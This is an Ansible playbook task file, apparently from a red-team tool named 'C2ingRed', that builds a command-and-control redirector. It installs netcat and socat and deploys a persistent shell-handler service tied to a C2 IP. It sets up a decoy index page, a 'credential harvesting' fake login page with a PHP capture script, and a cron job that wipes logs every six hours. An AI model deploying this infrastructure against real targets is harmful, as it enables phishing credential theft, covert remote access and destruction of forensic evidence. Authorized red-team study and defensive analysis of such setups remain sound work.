225 lines
5.5 KiB
YAML
225 lines
5.5 KiB
YAML
---
|
|
# Common task for configuring redirector with full encryption
|
|
# Shared across all providers
|
|
|
|
- name: Set a custom MOTD
|
|
template:
|
|
src: "../templates/motd-redirector.j2"
|
|
dest: /etc/motd
|
|
owner: root
|
|
group: root
|
|
mode: '0644'
|
|
|
|
- name: Install required packages for redirector
|
|
apt:
|
|
name:
|
|
- nginx
|
|
- certbot
|
|
- python3-certbot-nginx
|
|
- socat
|
|
- netcat-openbsd
|
|
- secure-delete
|
|
- jq
|
|
state: present
|
|
update_cache: yes
|
|
|
|
- name: Create directories for operational scripts
|
|
file:
|
|
path: "{{ item }}"
|
|
state: directory
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
with_items:
|
|
- /root/Tools
|
|
- /root/Tools/shell-handler
|
|
|
|
- name: Copy clean-logs.sh script
|
|
copy:
|
|
src: "../files/clean-logs.sh"
|
|
dest: /root/Tools/clean-logs.sh
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Copy redirector post-install script
|
|
copy:
|
|
src: "../files/post_install_redirector.sh"
|
|
dest: "/root/Tools/post_install_redirector.sh"
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Copy port randomization script
|
|
copy:
|
|
src: "../files/randomize_ports.sh"
|
|
dest: "/root/Tools/randomize_ports.sh"
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Create redirector post-install instructions
|
|
copy:
|
|
content: |
|
|
================================================================
|
|
C2ingRed Redirector Post-Installation Instructions
|
|
================================================================
|
|
|
|
To complete your setup with SSL certificates, run:
|
|
/root/Tools/post_install_redirector.sh
|
|
|
|
This script will guide you through:
|
|
- Setting up Let's Encrypt certificates
|
|
- Starting required services
|
|
- Updating NGINX configuration
|
|
|
|
For enhanced OPSEC, you can also randomize ports:
|
|
/root/Tools/randomize_ports.sh
|
|
|
|
Run these after you've configured your DNS records to point to this server.
|
|
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Copy shell handler script
|
|
copy:
|
|
src: "../files/havoc_shell_handler.sh"
|
|
dest: /root/Tools/shell-handler/persistent-listener.sh
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Configure shell handler script with C2 IP
|
|
replace:
|
|
path: /root/Tools/shell-handler/persistent-listener.sh
|
|
regexp: 'C2_HOST="127.0.0.1"'
|
|
replace: 'C2_HOST="{{ c2_ip }}"'
|
|
|
|
- name: Configure shell handler script with listening port
|
|
template:
|
|
src: "../files/havoc_shell_handler.sh"
|
|
dest: "/root/Tools/shell_handler.sh"
|
|
mode: 0755
|
|
vars:
|
|
listen_port: "{{ shell_handler_port | default(8083) }}"
|
|
|
|
- name: Create shell handler service
|
|
template:
|
|
src: "../templates/shell-handler.service.j2"
|
|
dest: /etc/systemd/system/shell-handler.service
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Configure NGINX for zero-logging if enabled
|
|
template:
|
|
src: "../templates/nginx.conf.j2"
|
|
dest: /etc/nginx/nginx.conf
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
when: zero_logs | bool
|
|
|
|
- name: Create payload directory
|
|
file:
|
|
path: /var/www/resources
|
|
state: directory
|
|
mode: '0755'
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
- name: Include traffic flow configuration
|
|
include_tasks: "../tasks/traffic_flow_config.yml"
|
|
|
|
# Run port randomization if enabled
|
|
- name: Run port randomization if enabled
|
|
include_tasks: port_randomization.yml
|
|
when: randomize_ports | default(true) | bool
|
|
|
|
# Configure nginx for dual HTTP/HTTPS with complete encryption
|
|
- name: Configure NGINX for secure C2 redirection
|
|
template:
|
|
src: "../templates/redirector-site.conf.j2"
|
|
dest: /etc/nginx/sites-available/default
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Create legitimate-looking index.html
|
|
template:
|
|
src: "../templates/redirector-index.html.j2"
|
|
dest: /var/www/html/index.html
|
|
mode: '0644'
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
- name: Create SSL certificate setup instructions
|
|
template:
|
|
src: "../templates/setup-cert.sh.j2"
|
|
dest: /root/Tools/setup-cert.sh
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Configure NGINX stream module for TCP traffic
|
|
template:
|
|
src: "../templates/stream.conf.j2"
|
|
dest: /etc/nginx/modules-enabled/stream.conf
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Create credential harvesting directory
|
|
file:
|
|
path: /var/www/login
|
|
state: directory
|
|
mode: '0755'
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
# Create secure storage outside web root
|
|
- name: Create secure credential storage
|
|
file:
|
|
path: /var/private/creds
|
|
state: directory
|
|
mode: '0700' # Only owner access
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
- name: Deploy credential harvesting page
|
|
template:
|
|
src: "../templates/fake-login.html.j2"
|
|
dest: "/var/www/login/auth.html"
|
|
mode: '0644'
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
- name: Deploy credential capture script
|
|
template:
|
|
src: "../templates/capture.php.j2"
|
|
dest: "/var/www/login/process.php"
|
|
mode: '0644'
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
- name: Install PHP for credential processing
|
|
apt:
|
|
name: php-fpm
|
|
state: present
|
|
update_cache: yes
|
|
|
|
- name: Start and enable shell handler service
|
|
systemd:
|
|
name: shell-handler
|
|
state: started
|
|
enabled: yes
|
|
daemon_reload: yes
|
|
|
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
|
cron:
|
|
name: "Clean logs"
|
|
minute: "0"
|
|
hour: "*/6"
|
|
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
|
when: zero_logs | bool |